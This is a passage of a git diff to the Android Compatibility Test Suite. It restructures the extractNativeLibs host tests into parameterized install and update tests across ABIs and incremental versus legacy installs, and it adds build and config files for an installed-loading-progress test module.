+        return maybePrimaryCpuAbiStr.get().substring(maybePrimaryCpuAbiStr.get().indexOf("=") + 1);
+    }
+}
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java
index 9d9aa3b1..256cb90 100644
--- a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java
@@ -15,7 +15,16 @@
  */
 package android.extractnativelibs.cts;
 
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.targetprep.BuildError;
+import com.android.tradefed.targetprep.TargetSetupError;
+import com.android.tradefed.targetprep.suite.SuiteApkInstaller;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.util.AbiUtils;
 import com.android.tradefed.util.FileUtil;
 
 import org.junit.After;
@@ -26,6 +35,9 @@
 import java.io.FileOutputStream;
 import java.io.InputStream;
 import java.io.OutputStream;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
 
 /**
  * TODO(b/147496159): add more tests.
@@ -35,27 +47,27 @@
     static final String TEST_APK_RESOURCE_PREFIX = "/prebuilt/";
     static final String TEST_HOST_TMP_DIR_PREFIX = "cts_extract_native_libs_host_test";
 
-    static final String TEST_NO_EXTRACT_PKG =
-            "com.android.cts.extractnativelibs.app.noextract";
+    static final String TEST_APK_NAME_BASE = "CtsExtractNativeLibsApp";
+    static final String TEST_PKG_NAME_BASE = "com.android.cts.extractnativelibs.app";
+    static final String TEST_NO_EXTRACT_PKG = TEST_PKG_NAME_BASE + ".noextract";
     static final String TEST_NO_EXTRACT_CLASS =
             TEST_NO_EXTRACT_PKG + ".ExtractNativeLibsFalseDeviceTest";
     static final String TEST_NO_EXTRACT_TEST = "testNativeLibsNotExtracted";
-    static final String TEST_NO_EXTRACT_APK = "CtsExtractNativeLibsAppFalse.apk";
 
-    static final String TEST_EXTRACT_PKG =
-            "com.android.cts.extractnativelibs.app.extract";
+    static final String TEST_EXTRACT_PKG = TEST_PKG_NAME_BASE + ".extract";
     static final String TEST_EXTRACT_CLASS =
             TEST_EXTRACT_PKG + ".ExtractNativeLibsTrueDeviceTest";
     static final String TEST_EXTRACT_TEST = "testNativeLibsExtracted";
-    static final String TEST_EXTRACT_APK = "CtsExtractNativeLibsAppTrue.apk";
-    static final String TEST_NO_EXTRACT_MISALIGNED_APK =
-            "CtsExtractNativeLibsAppFalseWithMisalignedLib.apk";
+
+    static final String TEST_NATIVE_LIB_LOADED_TEST = "testNativeLibsLoaded";
+    static final String IDSIG_SUFFIX = ".idsig";
 
     /** Setup test dir. */
     @Before
     public void setUp() throws Exception {
         getDevice().executeShellCommand("mkdir " + TEST_REMOTE_DIR);
     }
+
     /** Uninstall apps after tests. */
     @After
     public void cleanUp() throws Exception {
@@ -64,8 +76,45 @@
         getDevice().executeShellCommand("rm -r " + TEST_REMOTE_DIR);
     }
 
-    File getFileFromResource(String filenameInResources)
-            throws Exception {
+    boolean isIncrementalInstallSupported() throws Exception {
+        return "true\n".equals(getDevice().executeShellCommand(
+                "pm has-feature android.software.incremental_delivery"));
+    }
+
+    static String getTestApkName(boolean isExtractNativeLibs, String abiSuffix) {
+        return TEST_APK_NAME_BASE + (isExtractNativeLibs ? "True" : "False") + abiSuffix + ".apk";
+    }
+
+    static String getTestPackageName(boolean isExtractNativeLibs) {
+        return isExtractNativeLibs ? TEST_EXTRACT_PKG : TEST_NO_EXTRACT_PKG;
+    }
+
+    static String getTestClassName(boolean isExtractNativeLibs) {
+        return isExtractNativeLibs ? TEST_EXTRACT_CLASS : TEST_NO_EXTRACT_CLASS;
+    }
+
+    final void installPackage(boolean isIncremental, String apkName) throws Exception {
+        installPackage(isIncremental, apkName, "");
+    }
+
+    final void installPackage(boolean isIncremental, String apkName, String abi) throws Exception {
+        if (isIncremental) {
+            installPackageIncremental(apkName, abi);
+        } else {
+            installPackageLegacy(apkName, abi);
+        }
+    }
+
+    final boolean checkNativeLibDir(boolean isExtractNativeLibs, String abi) throws Exception {
+        if (isExtractNativeLibs) {
+            return checkExtractedNativeLibDirForAbi(abi);
+        } else {
+            return runDeviceTests(
+                    TEST_NO_EXTRACT_PKG, TEST_NO_EXTRACT_CLASS, TEST_NO_EXTRACT_TEST);
+        }
+    }
+
+    File getFileFromResource(String filenameInResources) throws Exception {
         String fullResourceName = TEST_APK_RESOURCE_PREFIX + filenameInResources;
         File tempDir = FileUtil.createTempDir(TEST_HOST_TMP_DIR_PREFIX);
         File file = new File(tempDir, filenameInResources);
@@ -83,4 +132,101 @@
         return file;
     }
 
+    private boolean runDeviceTestsWithArgs(String pkgName, String testClassName,
+            String testMethodName, Map<String, String> testArgs) throws Exception {
+        final String testRunner = "androidx.test.runner.AndroidJUnitRunner";
+        final long defaultTestTimeoutMs = 60 * 1000L;
+        final long defaultMaxTimeoutToOutputMs = 60 * 1000L; // 1min
+        return runDeviceTests(getDevice(), testRunner, pkgName, testClassName, testMethodName,
+                null, defaultTestTimeoutMs, defaultMaxTimeoutToOutputMs,
+                0L, true, false, testArgs);
+    }
+
+    private void installPackageLegacy(String apkFileName, String abi)
+            throws DeviceNotAvailableException, TargetSetupError {
+        SuiteApkInstaller installer = new SuiteApkInstaller();
+        installer.addTestFileName(apkFileName);
+        final String abiFlag = createAbiFlag(abi);
+        if (!abiFlag.isEmpty()) {
+            installer.addInstallArg(abiFlag);
+        }
+        try {
+            installer.setUp(getTestInformation());
+        } catch (BuildError e) {
+            throw new TargetSetupError(e.getMessage(), e, getDevice().getDeviceDescriptor());
+        }
+    }
+
+    private boolean checkExtractedNativeLibDirForAbi(String abiSuffix) throws Exception {
+        final String libAbi = getExpectedLibAbi(abiSuffix);
+        assertNotNull(libAbi);
+        final String expectedSubDirArg = "expectedSubDir";
+        final String expectedNativeLibSubDir = AbiUtils.getArchForAbi(libAbi);
+        final Map<String, String> testArgs = new HashMap<>();
+        testArgs.put(expectedSubDirArg, expectedNativeLibSubDir);
+        return runDeviceTestsWithArgs(TEST_EXTRACT_PKG, TEST_EXTRACT_CLASS, TEST_EXTRACT_TEST,
+                testArgs);
+    }
+
+    /** Given the abi included in the APK, predict which abi libs will be installed
+     * @param abiSuffix "64" means the APK contains only 64-bit native libs
+     *                  "32" means the APK contains only 32-bit native libs
+     *                  "Both" means the APK contains both 32-bit and 64-bit native libs
+     * @return an ABI string from AbiUtils.ABI_*
+     * @return an ABI string from AbiUtils.ABI_*
+     */
+    final String getExpectedLibAbi(String abiSuffix) throws Exception {
+        final String deviceAbi = getDeviceAbi();
+        final String deviceBitness = AbiUtils.getBitness(deviceAbi);
+        final String libBitness;
+        // Use 32-bit native libs if device only supports 32-bit or APK only has 32-libs native libs
+        if (abiSuffix.equals("32") || deviceBitness.equals("32")) {
+            libBitness = "32";
+        } else {
+            libBitness = "64";
+        }
+        final Set<String> libAbis = AbiUtils.getAbisForArch(AbiUtils.getBaseArchForAbi(deviceAbi));
+        for (String libAbi : libAbis) {
+            if (AbiUtils.getBitness(libAbi).equals(libBitness)) {
+                return libAbi;
+            }
+        }
+        return null;
+    }
+
+    final String getDeviceAbi() throws Exception {
+        return getDevice().getProperty("ro.product.cpu.abi");
+    }
+
+    private void installPackageIncremental(String apkName, String abi) throws Exception {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+        final File apk = buildHelper.getTestFile(apkName);
+        assertNotNull(apk);
+        final File v4Signature = buildHelper.getTestFile(apkName + IDSIG_SUFFIX);
+        assertNotNull(v4Signature);
+        installPackageIncrementalFromFiles(apk, v4Signature, abi);
+    }
+
+    private String installPackageIncrementalFromFiles(File apk, File v4Signature, String abi)
+            throws Exception {
+        final String remoteApkPath = TEST_REMOTE_DIR + "/" + apk.getName();
+        final String remoteIdsigPath = remoteApkPath + IDSIG_SUFFIX;
+        assertTrue(getDevice().pushFile(apk, remoteApkPath));
+        assertTrue(getDevice().pushFile(v4Signature, remoteIdsigPath));
+        return getDevice().executeShellCommand("pm install-incremental "
+                + createAbiFlag(abi)
+                + " -t -g " + remoteApkPath);
+    }
+
+    private String createAbiFlag(String abi) {
+        return abi.isEmpty() ? "" : ("--abi " + abi);
+    }
+
+    final String installIncrementalPackageFromResource(String apkFilenameInRes)
+            throws Exception {
+        final File apkFile = getFileFromResource(apkFilenameInRes);
+        final File v4SignatureFile = getFileFromResource(
+                apkFilenameInRes + IDSIG_SUFFIX);
+        return installPackageIncrementalFromFiles(apkFile, v4SignatureFile, "");
+    }
 }
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestFails.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestFails.java
new file mode 100644
index 0000000..f3d1946
--- /dev/null
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestFails.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.extractnativelibs.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test failure cases
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CtsExtractNativeLibsHostTestFails extends CtsExtractNativeLibsHostTestBase {
+    private static final String TEST_NO_EXTRACT_MISALIGNED_APK =
+            "CtsExtractNativeLibsAppFalseWithMisalignedLib.apk";
+
+    @Override
+    public void setUp() throws Exception {
+        // Skip incremental installations for non-incremental devices
+        assumeTrue(isIncrementalInstallSupported());
+        super.setUp();
+    }
+    /**
+     * Test with a app that has extractNativeLibs=false but with mis-aligned lib files,
+     * using Incremental install.
+     */
+    @Test
+    @AppModeFull
+    public void testExtractNativeLibsIncrementalFails() throws Exception {
+        String result = installIncrementalPackageFromResource(TEST_NO_EXTRACT_MISALIGNED_APK);
+        assertTrue(result.contains("Failed to extract native libraries"));
+        assertFalse(isPackageInstalled(TEST_NO_EXTRACT_PKG));
+    }
+}
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestIncremental.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestIncremental.java
deleted file mode 100644
index 1fcf345..0000000
--- a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestIncremental.java
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.extractnativelibs.cts;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeTrue;
-
-import android.platform.test.annotations.AppModeFull;
-
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.File;
-
-/**
- * Host test to incremental install test apps and run device tests to verify the effect of
- * extractNativeLibs.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CtsExtractNativeLibsHostTestIncremental extends CtsExtractNativeLibsHostTestBase {
-    private static final String IDSIG_SUFFIX = ".idsig";
-
-    @Override
-    public void setUp() throws Exception {
-        assumeTrue(isIncrementalInstallSupported());
-        super.setUp();
-    }
-
-    private boolean isIncrementalInstallSupported() throws Exception {
-        return getDevice().hasFeature("android.software.incremental_delivery");
-    }
-    /** Test with a app that has extractNativeLibs=false using Incremental install. */
-    @Test
-    @AppModeFull
-    public void testNoExtractNativeLibsIncremental() throws Exception {
-        installPackageIncremental(TEST_NO_EXTRACT_APK);
-        assertTrue(isPackageInstalled(TEST_NO_EXTRACT_PKG));
-        assertTrue(runDeviceTests(
-                TEST_NO_EXTRACT_PKG, TEST_NO_EXTRACT_CLASS, TEST_NO_EXTRACT_TEST));
-    }
-
-    /** Test with a app that has extractNativeLibs=true using Incremental install. */
-    @Test
-    @AppModeFull
-    public void testExtractNativeLibsIncremental() throws Exception {
-        installPackageIncremental(TEST_EXTRACT_APK);
-        assertTrue(isPackageInstalled(TEST_EXTRACT_PKG));
-        assertTrue(runDeviceTests(
-                TEST_EXTRACT_PKG, TEST_EXTRACT_CLASS, TEST_EXTRACT_TEST));
-    }
-
-    /** Test with a app that has extractNativeLibs=false but with mis-aligned lib files,
-     *  using Incremental install. */
-    @Test
-    @AppModeFull
-    public void testExtractNativeLibsIncrementalFails() throws Exception {
-        String result = installIncrementalPackageFromResource(TEST_NO_EXTRACT_MISALIGNED_APK);
-        assertTrue(result.contains("Failed to extract native libraries"));
-        assertFalse(isPackageInstalled(TEST_NO_EXTRACT_PKG));
-    }
-
-    private void installPackageIncremental(String apkName) throws Exception {
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
-        final File apk = buildHelper.getTestFile(apkName);
-        assertNotNull(apk);
-        final File v4Signature = buildHelper.getTestFile(apkName + IDSIG_SUFFIX);
-        assertNotNull(v4Signature);
-        installPackageIncrementalFromFiles(apk, v4Signature);
-    }
-
-    private String installPackageIncrementalFromFiles(File apk, File v4Signature) throws Exception {
-        final String remoteApkPath = TEST_REMOTE_DIR + "/" + apk.getName();
-        final String remoteIdsigPath = remoteApkPath + IDSIG_SUFFIX;
-        assertTrue(getDevice().pushFile(apk, remoteApkPath));
-        assertTrue(getDevice().pushFile(v4Signature, remoteIdsigPath));
-        return getDevice().executeShellCommand("pm install-incremental -t -g " + remoteApkPath);
-    }
-
-    private String installIncrementalPackageFromResource(String apkFilenameInRes)
-            throws Exception {
-        final File apkFile = getFileFromResource(apkFilenameInRes);
-        final File v4SignatureFile = getFileFromResource(
-                apkFilenameInRes + IDSIG_SUFFIX);
-        return installPackageIncrementalFromFiles(apkFile, v4SignatureFile);
-    }
-}
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestInstalls.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestInstalls.java
new file mode 100644
index 0000000..53575c8
--- /dev/null
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestInstalls.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.extractnativelibs.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.util.AbiUtils;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+import java.util.ArrayList;
+import java.util.Collection;
+/**
+ * Host test to install test apps and run device tests to verify the effect of extractNativeLibs.
+ */
+@RunWith(DeviceJUnit4Parameterized.class)
+@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
+public class CtsExtractNativeLibsHostTestInstalls extends CtsExtractNativeLibsHostTestBase {
+    @Parameter(0)
+    public boolean mIsExtractNativeLibs;
+
+    @Parameter(1)
+    public boolean mIsIncremental;
+
+    @Parameter(2)
+    public String mAbiSuffix;
+
+    /**
+     * Generate parameters for mutations of extract/embedded, incremental/legacy and 32/64/Both ABIs
+     */
+    @Parameterized.Parameters(name = "{index}: Test with mIsExtractNativeLibs={0}, "
+            + "mIsIncremental={1}, mAbiSuffix={2}")
+    public static Collection<Object[]> data() {
+        final boolean[] isExtractNativeLibsParams = new boolean[]{false, true};
+        final boolean[] isIncrementalParams = new boolean[]{false, true};
+        final String[] abiSuffixParams = new String[]{"32", "64", "Both"};
+        ArrayList<Object[]> params = new ArrayList<>();
+        for (boolean isExtractNativeLibs : isExtractNativeLibsParams) {
+            for (boolean isIncremental : isIncrementalParams) {
+                for (String firstAbiSuffix : abiSuffixParams) {
+                    params.add(new Object[]{isExtractNativeLibs, isIncremental, firstAbiSuffix});
+                }
+            }
+        }
+        return params;
+    }
+
+    @Override
+    public void setUp() throws Exception {
+        if (mIsIncremental) {
+            // Skip incremental installations for non-incremental devices
+            assumeTrue(isIncrementalInstallSupported());
+        }
+        if (mAbiSuffix.equals("64")) {
+            // Only run 64-bit tests if device supports both 32-bit and 64-bit
+            final String deviceAbi = getDeviceAbi();
+            assumeTrue(AbiUtils.getBitness(deviceAbi).equals("64"));
+        }
+        super.setUp();
+    }
+
+    /**
+     * Test app installs and runs. Verify native lib dir layout.
+     */
+    @Test
+    @AppModeFull
+    public void testInstallAndRunSuccess() throws Exception {
+        final String testApkName = getTestApkName(mIsExtractNativeLibs, mAbiSuffix);
+        final String testPackageName = getTestPackageName(mIsExtractNativeLibs);
+        final String testClassName = getTestClassName(mIsExtractNativeLibs);
+        installPackage(mIsIncremental, testApkName);
+        assertTrue(isPackageInstalled(testPackageName));
+        assertTrue(runDeviceTests(testPackageName, testClassName, TEST_NATIVE_LIB_LOADED_TEST));
+        assertTrue(checkNativeLibDir(mIsExtractNativeLibs, mAbiSuffix));
+    }
+}
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestLegacy.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestLegacy.java
deleted file mode 100644
index ff58ee6..0000000
--- a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestLegacy.java
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.extractnativelibs.cts;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-import android.platform.test.annotations.AppModeFull;
-
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.File;
-
-/**
- * Host test to install test apps and run device tests to verify the effect of extractNativeLibs.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CtsExtractNativeLibsHostTestLegacy extends CtsExtractNativeLibsHostTestBase {
-    /** Test with a app that has extractNativeLibs=false. */
-    @Test
-    @AppModeFull
-    public void testNoExtractNativeLibsLegacy() throws Exception {
-        installPackage(TEST_NO_EXTRACT_APK);
-        assertTrue(isPackageInstalled(TEST_NO_EXTRACT_PKG));
-        assertTrue(runDeviceTests(
-                TEST_NO_EXTRACT_PKG, TEST_NO_EXTRACT_CLASS, TEST_NO_EXTRACT_TEST));
-    }
-
-    /** Test with a app that has extractNativeLibs=true. */
-    @Test
-    @AppModeFull
-    public void testExtractNativeLibsLegacy() throws Exception {
-        installPackage(TEST_EXTRACT_APK);
-        assertTrue(isPackageInstalled(TEST_EXTRACT_PKG));
-        assertTrue(runDeviceTests(
-                TEST_EXTRACT_PKG, TEST_EXTRACT_CLASS, TEST_EXTRACT_TEST));
-    }
-
-    /** Test with a app that has extractNativeLibs=false but with mis-aligned lib files */
-    @Test
-    @AppModeFull
-    public void testNoExtractNativeLibsFails() throws Exception {
-        File apk = getFileFromResource(TEST_NO_EXTRACT_MISALIGNED_APK);
-        String result = getDevice().installPackage(apk, false, true, "");
-        assertTrue(result.contains("Failed to extract native libraries"));
-        assertFalse(isPackageInstalled(TEST_NO_EXTRACT_PKG));
-    }
-
-}
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestUpdates.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestUpdates.java
new file mode 100644
index 0000000..eec8fc2
--- /dev/null
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestUpdates.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.extractnativelibs.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.util.AbiUtils;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+import java.util.ArrayList;
+import java.util.Collection;
+/**
+ * Host test to update test apps with different ABIs.
+ */
+@RunWith(DeviceJUnit4Parameterized.class)
+@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
+public class CtsExtractNativeLibsHostTestUpdates extends CtsExtractNativeLibsHostTestBase {
+    @Parameter(0)
+    public boolean mIsExtractNativeLibs;
+
+    @Parameter(1)
+    public boolean mIsIncremental;
+
+    @Parameter(2)
+    public String mFirstAbiSuffix;
+
+    @Parameter(3)
+    public String mSecondAbiSuffix;
+
+    /**
+     * Generate parameters for mutations of extract/embedded, incremental/legacy,
+     * and apps of 32/64/Both ABIs updating to a ABI
+     */
+    @Parameterized.Parameters(name = "{index}: Test with mIsExtractNativeLibs={0}, "
+            + "mIsIncremental={1}, mFirstAbiSuffix={2}, mSecondAbiSuffix={3}")
+    public static Collection<Object[]> data() {
+        final boolean[] isExtractNativeLibsParams = new boolean[]{false, true};
+        final boolean[] isIncrementalParams = new boolean[]{false, true};
+        final String[] abiSuffixParams = new String[]{"32", "64", "Both"};
+        ArrayList<Object[]> params = new ArrayList<>();
+        for (boolean isExtractNativeLibs : isExtractNativeLibsParams) {
+            for (boolean isIncremental : isIncrementalParams) {
+                for (String firstAbiSuffix : abiSuffixParams) {
+                    for (String secondAbiSuffix : abiSuffixParams) {
+                        if (!firstAbiSuffix.equals(secondAbiSuffix)) {
+                            params.add(new Object[]{isExtractNativeLibs, isIncremental,
+                                    firstAbiSuffix, secondAbiSuffix});
+                        }
+                    }
+                }
+            }
+        }
+        return params;
+    }
+
+    @Override
+    public void setUp() throws Exception {
+        if (mIsIncremental) {
+            // Skip incremental installations for non-incremental devices
+            assumeTrue(isIncrementalInstallSupported());
+        }
+        if (mFirstAbiSuffix.equals("64") || mSecondAbiSuffix.equals("64")) {
+            // Only run 64-bit tests if device supports both 32-bit and 64-bit
+            final String deviceAbi = getDeviceAbi();
+            assumeTrue(AbiUtils.getBitness(deviceAbi).equals("64"));
+        }
+        super.setUp();
+    }
+
+    /**
+     * Test update installs and runs. Verify native lib dir layout.
+     */
+    @Test
+    @AppModeFull
+    public void testUpdateAndRunSuccess() throws Exception {
+        final String testPackageName = getTestPackageName(mIsExtractNativeLibs);
+        final String testClassName = getTestClassName(mIsExtractNativeLibs);
+        installPackage(mIsIncremental, getTestApkName(mIsExtractNativeLibs, mFirstAbiSuffix));
+        assertTrue(isPackageInstalled(testPackageName));
+        installPackage(mIsIncremental, getTestApkName(mIsExtractNativeLibs, mSecondAbiSuffix));
+        assertTrue(runDeviceTests(testPackageName, testClassName, TEST_NATIVE_LIB_LOADED_TEST));
+        assertTrue(checkNativeLibDir(mIsExtractNativeLibs, mSecondAbiSuffix));
+    }
+}
diff --git a/hostsidetests/packagemanager/installedloadingprogess/Android.bp b/hostsidetests/packagemanager/installedloadingprogess/Android.bp
new file mode 100644
index 0000000..1dff1a3
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//     http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsInstalledLoadingProgressHostTests",
+    defaults: ["cts_defaults"],
+    srcs:  ["hostside/src/**/*.java"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+        "cts-host-utils",
+    ],
+    static_libs: ["cts-install-lib-host"],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/packagemanager/installedloadingprogess/AndroidTest.xml b/hostsidetests/packagemanager/installedloadingprogess/AndroidTest.xml
new file mode 100644
index 0000000..f64e040
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config Package Manager InstalledLoadingProgress API test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsInstalledLoadingProgressDeviceTests.apk" />
+    </target_preparer>
+
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsInstalledLoadingProgressHostTests.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/packagemanager/installedloadingprogess/OWNERS b/hostsidetests/packagemanager/installedloadingprogess/OWNERS
new file mode 100644
index 0000000..d697d1f
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 36137
+toddke@google.com
+patb@google.com
+schfan@google.com
+alexbuy@google.com
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/installedloadingprogess/deviceside/Android.bp b/hostsidetests/packagemanager/installedloadingprogess/deviceside/Android.bp
new file mode 100644
index 0000000..08a4b48
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/deviceside/Android.bp
@@ -0,0 +1,43 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
